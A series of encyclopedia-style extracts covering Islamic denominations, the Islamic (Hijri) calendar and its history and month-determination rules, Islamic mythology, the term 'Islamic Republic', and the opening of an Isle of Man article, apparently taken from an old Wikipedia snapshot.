          The Shi'a, who constitute the second-largest branch of Islam, believe in the political and religious leadership of infallible Imams from the progeny of Ali ibn Abi Talib. They believe that he, as the cousin and son-in-law of Muhammad, was his rightful successor, and they call him the first Imam (leader), rejecting the legitimacy of the previous Muslim caliphs. To them, an Imam rules by right of divine appointment and holds "absolute spiritual authority" among Muslims, having final say in matters of doctrine and revelation. Although the Shi'a share many core practices with the Sunni, the two branches disagree over the proper importance and validity of specific collections of hadith. The Shi'a follow a legal tradition called Ja'fari jurisprudence. Shi'a Islam has several branches, the largest of which is the Twelvers (iṯnāʿaariyya), while the others are the Ismaili, the Seveners, and the Zaidiyyah.


          


          Sufism


          Not strictly a denomination, Sufism is a mystical-ascetic form of Islam. By focusing on the more spiritual aspects of religion, Sufis strive to obtain direct experience of God by making use of "intuitive and emotional faculties" that one must be trained to use. Sufism and Islamic law are usually considered to be complementary, although Sufism has been criticized by some Muslims for being an unjustified religious innovation. Most Sufi orders, or tariqas, can be classified as either Sunni or Shi'a.


          


          Others


          The Kharijites are a sect that dates back to the early days of Islam. The only surviving branch of the Kharijites is Ibadism. Unlike most Kharijite groups, Ibadism does not regard sinful Muslims as unbelievers. The Imamate is an important topic in Ibadi legal literature, which stipulates that the leader should be chosen solely on the basis of his knowledge and piety, and is to be deposed if he acts unjustly. Most Ibadi Muslims live in Oman.
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          The Islamic calendar or Muslim calendar (Arabic: التقويم الهجري; at-taqwīm al-hijrī; Persian: تقویم هجری قمری  taqwīm-e hejri-ye qamari; also called the Hijri calendar) is a lunar calendar used to date events in many predominantly Muslim countries, and used by Muslims everywhere to determine the proper day on which to celebrate Islamic holy days. It is a lunar calendar having 12 lunar months in a year of about 354 days. Because this lunar year is about 11 days shorter than the solar year, Islamic holy days, although celebrated on fixed dates in their own calendar, usually shift 11 days earlier each successive solar year, such as a year of the Gregorian calendar. Islamic years are also called Hijra years because the first year was the year during which the Hijra occurred Islamic prophet Muhammad's emigration from Mecca to Medina. Thus each numbered year is designated either H or AH, the latter being the initials of the Latin anno Hegirae (in the year of the Hijra).


          The current Islamic Year is 1429 AH.


          


          History


          


          Pre-Islamic calendar


          The Arabian predecessor to the Islamic calendar was a lunisolar calendar which used lunar months, but was also synchronized with the seasons by the insertion of an additional, intercalary month, when required. Whether the intercalary month (nasi) was added in the spring like that of the Hebrew calendar or in autumn is debated. It is assumed that the intercalary month was added between the twelfth month (the month of the pre-Islamic Hajj) and the first month ( Muharram) of this pre-Islamic year. The two Rabi' months denote grazing and the modern Meccan rainy season (only slightly less arid than normal), which would promote the growth of grasses for grazing, occurs during autumn. These imply a pre-Islamic year beginning near the autumnal equinox. However, the rainy season after which these months are named may have been different when the names originated (before Muhammad's time) or the calendar may have been imported from another region which did have such a rainy season. Moreover, Arabs had months in which fighting in them was forbidden. So they used the intercalary month to manipulate the time in which these months occur. This is the reason why the Qur'an forbids such manipulation. And the intercalary month was no longer allowed (releasing the calendar from the seasons) by Sura 9, verse 36 (believed to have been revealed about the end of Muhammad's lifetime), which implies a pre-Islamic year beginning near the vernal equinox because that is when the modern lunar year began during his last year.


          


          Annulling intercalation


          In the ninth year after the Hijra, as documented in the Qur'an ( 9:36-37), Muslims believe Allah revealed the prohibition of the intercalary month.


          
            The number of months with Allah has been twelve months by Allah's ordinance since the day He created the heavens and the earth. Of these four are known as forbidden [to fight in]; That is the straight usage, so do not wrong yourselves therein, and fight those who go astray. But know that Allah is with those who restrain themselves.

          


          
            Verily the transposing (of a prohibited month) is an addition to Unbelief: The Unbelievers are led to wrong thereby: for they make it lawful one year, and forbidden another year, of months forbidden by Allah and make such forbidden ones lawful. The evil of their course seems pleasing to them. But Allah guideth not those who reject Faith.

          


          This prohibition was repeated by Muhammad during the last sermon on Mount Arafat which was delivered during the Farewell Pilgrimage to Mecca on 9 Dhu al-Hijja 10 AH:


          
            O People, intercalation is an addition to unbelief, through it [God, Allah] leads the unbelievers astray: they make it permissible one year and forbid it [at their mere convenience] the next one to elude the timing of what God forbade, so that they make permissible that which Allah forbade [fighting in the forbidden months], and forbid that which Allah has made permissible [fighting in other months]. And [now, this year] time has turned the way it was the day God created Heavens and Earth [The intercalary months since the creation of Heavens and Earth have all canceled out (summed up to whole years)]. The year is twelve months, four of them are forbidden, three successive: Dhu al-Qi'dah and Dhu al-Hijjah and Muharram; and the Rajab of Mudar which is between Jumada and Shaban.
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          The three successive forbidden months mentioned by Muhammad (months in which battles are forbidden) are Dhu al-Qi'dah, Dhu al-Hijjah, and Muharram, thus excluding an intercalary month before Muharram. The single forbidden month is Rajab. These months were considered forbidden both within the new Islamic calendar and within the old pagan Meccan calendar, although whether they maintained their "forbidden" status after the conquest of Mecca has been disputed among Islamic scholars.


          As the number and the position of the intercalary months between 1 AH and 10 AH are uncertain, western calendar dates commonly cited for key events in early Islam such as the Hijra, the Battle of Badr, the Battle of Uhud and the Battle of the Trench, should be viewed with caution as they can be in error by one, two or even three lunar months.


          


          


          Months


          The Islamic months are named as follows:


          
            	Muharram محرّم (long form: Muḥarram ul Ḥaram)


            	Safar صفر (long form: Ṣafar ul Muzaffar)


            	Rabi' al-awwal (Rabī' I) ربيع الأول


            	Rabi' al-thani (or Rabī' al Thānī, or Rabī' al-Akhir) (Rabī' II) ربيع الآخر أو ربيع الثاني


            	Jumada al-awwal (Jumādā I) جمادى الأول


            	Jumada al-thani (or Jumādā al-akhir) (Jumādā II) جمادى الآخر أو جمادى الثاني


            	Rajab رجب (long form: Rajab al Murajab)


            	Sha'aban شعبان (long form: Sha'abān ul Moazam)


            	Ramadan رمضان (or Ramzān, long form: Ramaḍān ul Mubarak)


            	Shawwal شوّال (long form: Shawwal ul Mukarram)


            	Dhu al-Qi'dah ذو القعدة


            	Dhu al-Hijjah ذو الحجة

          


          Of all the months in the Islamic calendar, Ramaḍān is the most venerated. Muslims are supposed to abstain from eating, drinking, and sexual intercourse during the daylight hours of this month.


          


          Days of the week


          The Islamic week is similar to the Jewish week, as was the medieval Christian week, all of which have numbered weekdays in common. The "first day" of the Islamic week corresponds with Sunday of the planetary week. The Islamic and Jewish weekdays begin at sunset, whereas the medieval Christian and planetary weekdays begin at the following midnight. Muslims gather for worship at a mosque at noon on "gathering day", which corresponds to the sixth day of the Jewish and medieval Christian weeks, and to Friday of the planetary week. ("yaum يوم" means day)


          
            	yaum al-ahad يوم الأحد (first day - Sunday) (Urdu, Itwaar اتوار) (Persian: Yek-Shanbeh یکشنبه)


            	yaum al-ithnayn يوم الإثنين (second day - Monday) (Urdu, Pr پير) (Persian: Do-Shanbeh, دوشنبه)


            	yaum ath-thulaathaa' يوم الثُّلَاثاء (third day - Tuesday) (Urdu, Mangl منگل) (Persian: Seh-Shanbeh, سه شنبه)


            	yaum al-arbia`aa' يوم الأَرْبِعاء (fourth day - Wednesday) (Urdu, Budh بدھ) (Persian: Chahar-Shanbeh, چهارشنبه)


            	yaum al-khamis يوم الخَمِيس (fifth day - Thursday) (Urdu, Jumahraat جمعرات) (Persian: Panj-Shanbeh, پنجشنبه)


            	yaum al-jumu`a يوم الجُمُعَة (gathering day - Friday) (Urdu, Jumah جمعہ) (Persian: Jom'eh, جمعه or Adineh آدينه)


            	yaum as-sabt يوم السَّبْت (sabbath day - Saturday) (Urdu, Hafta ہفتہ) (Persian: Shanbeh, شنبه)

          


          


          Chronology


          According to Islamic tradition, Abraha, governor of Yemen, then a province of the Christian Kingdom of Aksum (Ethiopia), attempted to destroy the Kaaba with an army which included several elephants. Although the raid was unsuccessful, because it was customary to name a year after a major event which occurred during it, that year became known as the Year of the Elephant, which was also the year that Muhammad was born. (See surat al-Fil.) Although most Muslims equate it with the Western year 570, a minority equate it with 571. Later years were numbered from the Year of the Elephant, whether for the years of the pre-Islamic lunisolar calendar, the lunisolar calendar used by Muhammad before he forbade the intercalary month, or the first few years of the lunar calendar thus created. In 638 (AH 17), the second Caliph Umar began numbering the years of the Islamic calendar from the year of the Hijra, which was postdated AH1. The first day of the first month (1Muharram) of that proleptic Islamic year, that is, after the removal of all intercalary months between the Hijra and Muhammad's prohibition of them nine years later, corresponded to July 16, 622 (the actual emigration took place in September). The first surviving attested use of the Hijri calendar is on a papyrus from Egypt in 22 AH, PERF 558.


          Upon Muhammads arrival at the city of Medina after his Hijra from Mecca, his companions named that year as their first year. It was one of the practices of the people of that time to start their calendar with a certain event. For example, when the army of the ruler Abraha marched to Mecca with elephants to destroy the Kaabah, and then the army was destroyed by Allah according to Islamic tradition, the Arabs named that year as the year of the elephant.


          The arrival of Muhammad at the city of Medina was the first victory for Muslims. For the first time Muslims gained the right to run a country based on Islamic teachings led by Muhammad himself. It came naturally to the Muslims at that time to name the year of Muhammads arrival at Medina as the first year. This act was not forbidden by Muhammad, and they continued to count their years from the Hijra year onwards.


          In the year 17 AH, Abu-Musa al-Asha'ari, one of the officials of the second Caliph Umar in Basrah, reported that a letter from Umar arrived without any date records. This report triggered Umar to introduce a calendar system for Muslims. Umar called the renowned companions such as Ali for a meeting to seek their views on a suitable calendar for Muslims. Some of them suggested to use the Messiah calender which was already followed by many people at that time. There were also some who suggested to start the calendar from the birth of Muhammad. These suggestions were rejected, because the starting dates of those two calendar systems were rather vague.


          It was thought that the Islamic calendar should start on an unambiguous date, and a date that was known by many people. There was a suggestion to start on the date of the death of Muhammad, and there were some who suggested to begin with the date of the arrival of Muhammad at Medina. Umar chose to start the calendar with the date of Muhammads arrival at Medina, not only because it was a very significant event and was known by almost all Muslims at that time, but more importantly, the companions of Muhammad were already starting their calendar from that date, out of habit.


          The second issue to be decided was what would be the first month of the calendar. Some suggested Ramadan, and some suggested the month of Rajab because it was a month much glorified by the Arabs before Islam came. Uthman Ibn Affan suggested to start the calender with the month of Muharram, because it was already the customs of the Arabs at that time to start their year with the month of Muharram, after the return of the pilgrims from their Hajj. This suggestion was agreed by all who were present.


          Thus the Islamic calendar started from the month of Muharram in the year of Muhammads arrival at the city of Medina, and because of the Hijra event the calendar was named the Hijra calendar.


          


          Observation of Hilal, date calculations, and nonuniform dates among regions


          There is at least one recorded incident in the first Islamic century where Muslims in Medina and al-Sham fasted independently upon their respective observations of the lunar crescent (Hilal).


          Each month has either 29 or 30 days, but usually in no discernible order. Traditionally, the first day of each month was the day (beginning at sunset) of the first sighting of the lunar crescent (the hilāl) shortly after sunset. If the hilāl was not observed immediately after the 29th day of a month, either because clouds blocked its view or because the western sky was still too bright when the moon set, then the day that began at that sunset was the 30th. Such a sighting had to be made by one or more trustworthy men testifying before a committee of Muslim leaders. Determining the most likely day that the hilāl could be observed was a motivation for Muslim interest in astronomy, which put Islam in the forefront of that science for many centuries.


          This traditional practice is still followed in a few parts of the world, like India, Pakistan and Jordan. However, in most Muslim countries astronomical rules are followed which allow the calendar to be determined in advance, which is not the case using the traditional method. Malaysia, Indonesia, and a few others begin each month at sunset on the first day that the moon sets after the sun (moonset after sunset). In Egypt, the month begins at sunset on the first day that the moon sets at least five minutes after the sun.


          The moon sets progressively later than the sun for locations further west, thus western Muslim countries are more likely to celebrate some holy days one day earlier than eastern Muslim countries.


          


          Umm al-Qura calendar


          The official Umm al-Qura calendar of Saudi Arabia used a substantially different astronomical method until recent years . Before AH 1420 (before April 18, 1999), if the moon's age at sunset in Riyad was at least 12 hours, then the day ending at that sunset was the first day of the month. This often caused the Saudis to celebrate holy days one or even two days before other predominantly Muslim countries, including the dates for the Hajj, which can only be dated using Saudi dates because it is performed in Mecca. During one memorable year during the AH 1380s (the 1970s), different Muslim countries ended the fast of Ramadan on each of four successive days. The celebrations became more uniform beginning in AH 1420. For AH 1420-22, if moonset occurred after sunset at Mecca, then the day beginning at that sunset was the first day of a Saudi month, essentially the same rule used by Malaysia, Indonesia, and others (except for the location from which the hilal was observed). Since the beginning of AH 1423 ( March 16, 2002), the rule has been clarified a little by requiring the geocentric conjunction of the sun and moon to occur before sunset, in addition to requiring moonset to occur after sunset at Mecca. This ensures that the moon has moved past the sun by sunset, even though the sky may still be too bright immediately before moonset to actually see the crescent. Strictly speaking, the Umm al-Qura calendar is intended for civil purposes only. Their makers are well aware of the fact that the first visual sighting of the lunar crescent (hilāl) can occur up to two days after the date calculated in the Umm al-Qura calendar. Since AH 1419 (1998/99) several official hilāl sighting committees have been set up by the government of Saudi Arabia to determine the first visual sighting of the lunar crescent at the begin of each lunar month. Nevertheless, the religious authorities of Saudi Arabia also allow the testimony of less experienced observers and thus often announce the sighting of the lunar crescent on a date when none of the official committees could see the lunar crescent.


          This is particularly the case for the most important dates on the Islamic calendar - the beginning and end of Ramadan (the month of the fast) and the beginning of Dhu al-Hijja (the month of the annual pilgrimage to Mecca). If a Muslim male resident (two in the case of the end of Ramadan) sees the new moon on the 29th day of the preceding month, and if this sighting is accepted by the religious authorities, then the new month is judged to have arrived, even though the official Umm al-Qura calendar calls for a 30th day before the new month begins. This can change the actual beginning and/or end of the fast (in the case of Ramadan) or the timing of the pilgrimage to Mecca (in the case of Dhu al-Hijja). This happens occasionally, with the most recent occurrences being in AH 1428 (2007-2008), when the beginning of the months of both Shawwal and Dhu al-Hijja occurred a day earlier than called for in the official Umm al-Qura calendar.


          Recently, the Islamic Society of North America, the Fiqh Council of North America and the European Council for Fatwa and Research have announced that they too in future will follow the Umm al-Qura calendar for regulating the Islamic days of observance.


          


          Tabular Islamic calendar


          There exists a variation of the Islamic calendar known as the tabular Islamic calendar in which months are worked out by arithmetic rules rather than by observation or astronomical calculation. It has a 30-year cycle with 11 leap years of 355 days and 19 years of 354 days. In the long term, it is accurate to one day in about 2500 years. It also deviates up to about 1 or 2 days in the short term.


          


          Kuwaiti algorithm


          Microsoft uses the " Kuwaiti algorithm" to convert Gregorian dates to the Islamic ones. Microsoft claims that it is based on a statistical analysis of historical data from Kuwait but it is in fact a variant of the tabular Islamic calendar.


          


          Notable dates


          Important dates in the Islamic (Hijri) year are:


          
            	1 Muharram ( Islamic New Year)


            	10 Muharram ( Day of Ashurah) Anniversary of Moses and the Children of Israel crossing the red sea. Also the date of the martyrdom of Imam Husayn ibn Ali and his followers.)


            	12 Rabiul Awal ( Milad un Nabi for Sunni Muslims)


            	17 Rabiul Awal (Milad un Nabi for Isna Ashari Shia Muslims Twelvers)


            	13 Rajab (Birthday of Imam Ali ibn Abi Talib.)


            	27 Rajab ( Isra and Miraj)


            	1 Ramadan (first day of fasting)


            	19 Ramadan (The day on which Ali ibn Abi Talib was attacked)


            	21 Ramadan (Imam Ali ibn Abi Talib's death date. He was Muhammad's cousin and son in law and the father of Imam Husayn ibn Ali)


            	27 Ramadan (Nuzul Al-Qur'an) (17 Ramadan in Malaysia)


            	Last third of Ramadan which includes Laylat al-Qadr


            	1 Shawwal ( Eid ul-Fitr)


            	8-10 Dhu al-Hijjah (the Hajj to Mecca)


            	10 Dhu al-Hijjah (Eid ul-Adha)


            	18 Dhu al-Hijjah (Eide Ghadire Khum)

          


          


          Current correlations


          For a very rough conversion, multiply the Islamic year number by 0.97, and then add 622 to get the Gregorian year number. An Islamic year will be entirely within a Gregorian year of the same number in the year 20874. The Islamic calendar year of 1429 occurs entirely within the Gregorian calendar year of 2008. Such years occur once every 33 or 34 Islamic years (32 or 33 Gregorian years). More are listed here:


          
            
              	Islamic year within Gregorian year
            


            
              	Islamic

              	Gregorian

              	Difference
            


            
              	1060

              	1650

              	590
            


            
              	1093

              	1682

              	589
            


            
              	1127

              	1715

              	588
            


            
              	1161

              	1748

              	587
            


            
              	1194

              	1780

              	586
            


            
              	1228

              	1813

              	585
            


            
              	1261

              	1845

              	584
            


            
              	1295

              	1878

              	583
            


            
              	1329

              	1911

              	582
            


            
              	1362

              	1943

              	581
            


            
              	1396

              	1976

              	580
            


            
              	1429

              	2008

              	579
            


            
              	1463

              	2041

              	578
            


            
              	1496

              	2073

              	577
            


            
              	1530

              	2106

              	576
            


            
              	1564

              	2139

              	575
            

          


          


          Uses


          
            [image: Many middle eastern coins show the Islamic calendar date, such as this 1993 Egyptian coin which shows both Islamic and Gregorian (1993/1413 - written in Eastern Arabic numerals as ١٤١٣-١٩٩٣).]

            
              Many middle eastern coins show the Islamic calendar date, such as this 1993 Egyptian coin which shows both Islamic and Gregorian (1993/1413 - written in Eastern Arabic numerals as ١٤١٣-١٩٩٣).
            

          


          The Islamic calendar has been used primarily for religious purposes, and has sometimes been used for official purposes as well. Because of its nature as a purely lunar calendar, however, it cannot be used for agricultural purposes and historically Islamic communities have used other calendars for this purpose: the Egyptian calendar was formerly widespread in Islamic countries, and the Iranian calendar and the 1789 Ottoman calendar (a modified Julian calendar) were also used for agriculture in their countries. These local solar calendars have receded in importance with the near-universal adoption of the Gregorian calendar for civil purposes. Saudi Arabia is currently the only Muslim country to use the Islamic calendar as the calendar of daily government business.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Islamic_calendar"
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              	Articles about Mythology:
            


            
              	[image: ]In its broadest academic sense, the word "myth" simply means a traditional story, whether true or false. ( OED, Princeton Wordnet) Unless otherwise noted, the words "mythology" and "myth" are here used for sacred and traditional narratives, with no implication that any belief so embodied is itself either true or false.
            

          


          In its current form, Islam is a religion established by Muhammed, who lived in the 6th and 7th centuries A.D. Its sacred book is the Quran. Those who adhere to Islam are called Muslims. Muslims believe that all true prophets (including Moses and Jesus Christ) preached Islamic principles, but that these principles became distorted in the Jewish and Christian traditions; according to this view, Muhammed is the most recent prophet, who restored and completed the principles of Islam. This article discusses some major features of Islamic mythology, the body of traditional stories that belongs to Islam.


          


          Issues surrounding the term "mythology"


          In its broadest academic sense, the word simply means a traditional story. However, many scholars restrict the term "myth" to sacred stories. Folklorists often go farther, defining myths as "tales believed as true, usually sacred, set in the distant past or other worlds or parts of the world, and with extra-human, inhuman, or heroic characters".


          If "myth", defined by folklorists, are stories both sacred and "believed as true", then the most clear-cut examples of Islamic mythology come from Islamic scripture. However, note that the term "mythology" does not encompass all scriptures. Because a myth is a traditional story, non-narrative scriptures (e.g., proverbs, theological writings) are not themselves "myths".


          Note also that the term "myth" may not encompass all stories in Islamic scripture, depending on how strictly one defines the word "myth". One's use of the word "myth" is largely a matter of one's academic discipline. For scholars in religious studies, myths are stories whose main characters are gods or demigods: this definition would actually exclude sacred stories that don't feature God as the centre of attention. Some folklorists restrict the word "myth" to stories that describe the creation of the world and of natural phenomena. By this definition, the Judeo-Christo-Islamic creation story would form a part of Islamic mythology, while the Islamic story of Marium (Mary) giving birth to Isa (Jesus) would not.


          In the culture of the ancient Mediterranean world in the context of which early Islam and its legend arose, there often did not exist the separation that exists for many societies in the modern period between fields of history and mythology, or the attempt to discern between objective truth and spiritual truths.


          


          Subcategories


          The mythology of Islam can be grouped into academic categories:


          
            	Cosmogonic myths are tales that describe the creation of the world. The Judeo-Christo-Islamic six-part creation account is a cosmogonic myth.


            	Origin myths (also called etiological myths) explain the origins of natural phenomena and human institutions. While cosmogonic myths describe how the universe itself was created, origin myths build on cosmogonic myths, describing the creation of phenomena within the universe. The Quran's isolated creation story of God creating iron is an example of an origin myth.


            	Legends are stories that take place recently (relative to the mythological age of origins) and generally focus on human characters rather than divine ones; some scholars (for instance, professional folklorists) strictly distinguish them from "true" myths. The story of Abraham almost sacrificing Ishmael is an example of legend.


            	Eschatological myths describe the afterlife and the end of the world. The Islamic story of Qiyamat is an example of eschatological mythology: it describes the Day of Judgment, when God will reward the good and punish the evil.

          


          


          Central Islam stories


          



          


          Life of Muhammad


          Muhammad was born into late 6th-century Arabia. At that time, the inhabitants practiced a polytheistic religion and lived in tribal groups that frequently feuded. Although married, Muhammad retreated into a cave in Mount Hira, in search of enlightenment. While in the cave, Muhammad experienced a revelation: he received the words of the Quran (dictated to him by the angel Gabriel). He returned to Mecca, a cultural centre of Arabia, to spread his message.


          Threatened by the possibility of a religious revolution, the Meccan leaders persecuted Muhammad and his followers. Muhammad and his followers eventually fled to a city called Medina, from which they continued to feud with the Meccans. Eventually Muhammad conquered Mecca, converting its religious centre, the Kaaba stone, into the new centre of Islamic spirituality. By the time he died, he had brought nearly all of Arabia into the religion of Islam.


          Note that, by some academic definitions, the traditional story about a historical human character like Muhammed would be a "legend", not a "myth".


          


          The Kaaba


          
            [image: A 1315 image of Muhammad lifting the Black Stone into place, when the Kaaba was rebuilt in the early 600s.]

            
              A 1315 image of Muhammad lifting the Black Stone into place, when the Kaaba was rebuilt in the early 600s.
            

          


          According to Islamic tradition, God told Adam to construct a building to be the earthly counterpart of the House of Heaven. This was the giant black stone cube that Muslims call the Kaaba: it stands in the city of Mecca. Later, Abraham and Ishmael had to rebuild the Kaaba on the old foundations.


          The Kaaba was originally intended as a symbolic house for the one monotheistic God. However, after Abraham's death, people started to fill the Kaaba with pagan idols. When Muhammed conquered Mecca, he cleaned out the idols from the Kaaba. It now stands as an important pilgrimage site, which all Muslims are supposed to visit at least once if they are able. Muslims are supposed to pray five times a day while facing in the Kaaba's direction.


          


          Connection with Jewish and Christian mythologies


          


          Biblical stories in the Quran


          Like Judaism and Christianity, Islam is a monotheistic religion. It has much in common with the stories and teachings of Judaism and Christianity, but Muslims believe that Muhammed was the final and ultimate prophet in the Judeo-Christo-Islamic revelation. They also believe that the religious texts of the Jews and Christians have been corrupted by the hands of man over the passage of time. Islam incorporates many Biblical events and heroes into its own mythology. Stories about Musa (Moses) and Ibrahim (Abraham) form parts of Islam's scriptures. The Quran retells in detail the Jewish tale of Joseph, who was sold to an Egyptian, and the Christian tale of Mary, the mother of Jesus. In both cases, it adds original details and an Islamic interpretation: for instance, in the Islamic version, Jesus speaks while he is still an infant, and he is merely a miraculously-conceived human prophet, not the incarnation of God.


          


          Linear time


          Unlike many other religions, whose sense of time was basically cyclic, Judaism and Christianity labored to preserve a written linear history and mythic timeline, running from the creation to the end of the world. For example, in Aztec mythology the universe is created and destroyed repeatedly, but in Judaism and Christianity, the universe has been created only once and will be destroyed only once, and after its destruction it will be restored to perfection once and for all. Likewise, Islamic mythology has a linear time perspective, running from the creation to the end of the world and the establishment of paradise on earth. Quran 56 describes the end times, the judgment of the dead, and the eternal reward and punishment of saints and sinners -- an eschatological mythology similar to the storyline of the Christian Book of Revelation and to some elements in the Jewish Book of Isaiah and Book of Daniel.


          


          Islamic creation myth


          Islam shares with Judaism and Christianity the story of a world-creating divine act, spaced out over six days (or periods of time in modern interpretation). The Islamic creation account, like the Hebrew one, involves Adam and Eve as the first parents, living in an earthly paradise. As in the Hebrew story, God warns Adam and Eve not to eat fruit from a certain tree, but they do anyway, earning expulsion from Paradise.


          Islam breaks somewhat with Judaism and Christianity in explaining why Adam and Eve ate the forbidden fruit. In the actual Hebrew account in Genesis, a snake tempts them to eat the fruit. Extra-biblical Christian mythology identifies the snake with Satan, but the actual text of the Biblical story does not explicitly make this identification. In contrast, the Quran states explicitly that Shaitan (Satan) tempted Adam and Eve to eat the fruit. In contrast with Judeo-Christian traditions, which sees Satan as a rebelling angel, Islamic tradition identifies Shaitan with a being called Iblis, who is a jinni, a spirit of fire. In Islamic tradition, angels consist of light and lack free will. In contrast, God created jinn with free will. He told them to bow before Adam, but Iblis refused, claiming that his fiery nature was superior to Adam's flesh, which consisted of clay. God cast Iblis out of his friendship, and in revenge Iblis vowed to tempt Adam and Eve's generations to corruption and to disobey God.


          


          Contrasts with Jewish and Christian mythologies


          



          


          Isaac and Ishmael


          Like Jewish Hebrews, Muslim Arabs trace their ancestry back to Abraham. Like Jews, Muslims believe that Abraham had two sons, Isaac and Ishmael. While Jews see Isaac as the Hebrews' progenitor, the Muslims trace the Arabs back to Ishmael. However, although agreeing with Jews in terms of ancestry, Muslims shift the emphasis from Isaac to Ishmael. According to Muslim tradition, Ishmael helped Abraham build the Kaaba, and Ishmael's descendants (the Arabs) became the Kaaba's guardians. In addition, while the Bible describes Abraham offering Isaac as a sacrifice to God (before God stops him), the Quran describes the same story, but with Ishmael as the nearly-sacrificed son.


          


          Mythological beings, places and events


          The following are unique to Islam:


          
            	Muhammad - the prophet of Islam.


            	Jinn - creatures of fire; along with angels and humans, one of the three intelligent beings created by God


            	Kaaba - a large cube of black stone that Muslims visit while on the Hajj (pilgrimage to Mecca). In Islamic mythology, Abraham and Ishmael built the Kaaba at God's request, to serve as the earthly counterpart of the heavens. Adam built the original earthly Kaaba, but Abraham and his son had to rebuilt it.

          


          The following Islamic subjects have some elements in common with Jewish and Christian traditions:


          
            	Beings

              
                	Angels - beings of light that serve as God's messengers; in Islam, these lack free will.


                	Jibril - the archangel Gabriel


                	Azrael - the angel of death


                	Shaitan - the Devil


                	Ishmael - the ancestor of the Arab people; brother of Isaac, the ancestor of the Hebrew people

              

            


            	Places

              
                	Garden of Eden - the Paradise where Adam and Eve lived before their Fall


                	Barzakh - the state of the souls of the deceased before the Day of Judgment, when they will be assigned to Heaven or to Hell.


                	Jannah - Heaven; the abode of the righteous after the Day of Judgment; at least somewhat identified with the Garden of Paradise


                	Jahannam - Hell; the abode of the wicked after the Day of Judgment

              

            


            	Events

              
                	Creation - a six-part creative act by God.


                	Fall of man - the loss of Paradise the resulted from eating the forbidden fruit; like Judaism, and unlike Christianity, Islam does not hold that the Fall made man inherently sinful.


                	Qiyamat - the Day of Judgment (and the reward and punishment of the good and the wicked); a fundamental element of Islamic eschatology that incorporates much from the Jewish and Christian traditions
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          Islamic Republic is the name given to several states in the Muslim world including the Islamic Republics of Iran, Pakistan, Afghanistan and Mauritania. Pakistan adopted the title under the constitution of 1956. Mauritania adopted it on 28 November 1958. Iran adopted it after the 1979 Islamic Revolution that overthrew the Pahlavi monarchy. Afghanistan adopted it after the 2001 overthrow of the Taliban. Despite the similar name the countries differ greatly in their governments and laws.


          The term "Islamic republic" has come to mean several different things, some contradictory to others. Theoretically, to many religious leaders, it is a state under a particular theocratic form of government advocated by some Muslim religious leaders in the Middle East and Africa. It is seen as a compromise between a purely Islamic Caliphate, and secular nationalism and republicanism. In their conception of the Islamic republic, the penal code of the state is required to be compatible with some laws of Sharia, and not a monarchy as many Middle Eastern states are presently. In other cases, it is merely a symbol of cultural identity, as was the case when Pakistan adopted the title under the constitution of 1956. In fact many argue that an Islamic Republic strikes a middle path between a completely secular and a theocratic (and/or Orthodox Islamic) system of government.


          Iran's Islamic republic is in contrast to the semi-secular state of the Republic of Pakistan (proclaimed as an Islamic Republic in 1956) where Islamic laws are technically considered to override laws of the state, though in reality their relative hierarchy is ambiguous.


          Pakistan was the first country to adopt Islamic prefix to define its republican status under the otherwise secular constitution of 1956. Interestingly enough, despite this definition, the country did not have state religion until 1973, when a new constitution, more democratic but less secular, was adopted. Pakistan only uses the "Islamic" name on its passports and visas. All government documents are prepared under the name of the Government of Pakistan, however, Islamic republic is specifically mentioned in the Constitution of 1973.


          Today, the creation of an Islamic State is the rallying cry for many Muslims, including those described as Islamists, all over the world. However the term itself has different meanings among various people. Many advocate the abolition of the monarchies of the Middle East, regimes which they believe to be overly authoritarian or otherwise repressive to Islam, in some cases, to be replaced with a unified and monolithic Caliphate and in other cases Islamic Republics along national lines. There are many Muslims to whom the idea of a republic, Islamic or secular, itself is an antithesis of the Islamic form of governance.


          Libya, while not actually self-styled as an Islamic republic, refers to itself similarly, as what can best be translated as an "Arab People's Republic", with somewhat more socialist overtones. The United States Central Intelligence Agency translates the name, as the conventional long form, as the "Great Socialist People's Libyan Arab Jamahiriya." In either case, the result is essentially identical to any other country mentioned above.
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                    	Coat of arms
                  

                

              
            


            
              	Motto:Quocunque Jeceris Stabit(Latin)

              Whithersoever you throw it, it will stand
            


            
              	Anthem:" O Land of Our Birth"

              "Arrane Ashoonagh dy Vannin" ( Manx)

              Royal anthem:" God Save the Queen"
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                  Location of Isle of Man(red)
                

              
            


            
              	Capital

              (and largest city)

              	Douglas (Doolish)

            


            
              	Official languages

              	Manx, English
            


            
              	Demonym

              	Manx
            


            
              	Government

              	Crown dependency (UK) Parliamentary democracy (Constitutional monarchy)
            


            
              	-

              	Lord of Mann

              	Elizabeth II
            


            
              	-

              	Lieutenant Governor

              	Sir Paul Haddacks
            


            
              	-

              	First Deemster

              	Michael Kerruish
            


            
              	-

              	President of Tynwald

              	Noel Cringle
            


            
              	-

              	Chief Minister

              	Tony Brown
            


            
              	Status

              	Crown dependency
            


            
              	-

              	Revested in British crown

              	1765
            


            
              	Area
            


            
              	-

              	Total

              	572km( 191st)

              221 sqmi
            


            
              	-

              	Water(%)

              	0
            


            
              	Population
            


            
              	-

              	estimate

              	80,058( 194st)
            


            
              	-

              	Density

              	131.2/km( 75th)

              339.6/sqmi
            


            
              	GDP( PPP)

              	2003estimate
            


            
              	-

              	Total

              	$2.113 billion( 182nd)
            


            
              	-

              	Per capita

              	$35,000( 11/12th)
            


            
              	HDI(n/a)

              	n/a(unranked)( n/a)
            


            
              	Currency

              	Pound sterling1 ( GBP)
            


            
              	Time zone

              	GMT ( UTC+0)
            


            
              	-

              	Summer( DST)

              	( UTC+1)
            


            
              	Internet TLD

              	.im
            


            
              	Calling code

              	+44 (UK area code 01624)
            


            
              	1

              	The Isle of Man Treasury issues its own sterling notes and coins (see Manx pound).
            

          


          The Isle of Man ( Manx: Ellan Vannin, pronounced [ˈɛlʲən ˈvanɪn]) or Mann ( Manx: Mannin, [ˈmanɪn]) is a self-governing Crown dependency, located in the Irish Sea at the geographical centre of the British Isles. The head of state is Queen Elizabeth II, who holds the title of Lord of Mann. The Crown is represented by a Lieutenant Governor. The island is not part of the United Kingdom, but foreign relations, defence, and ultimate good-governance of the Isle of Man are the responsibility of the government of the United Kingdom.


          The island was a Celtic community which came under the rule of the Norse in 1079. This has left a legacy from the Tynwald government to many place names. After a period of alternating rule by the Kings of England and Scotland, the Manx came under the feudal over-lordship of the English Crown. The lordship revested to the British Crown in 1764 but the island never became part of the United Kingdom. This accounts for its current position as a Crown dependency.


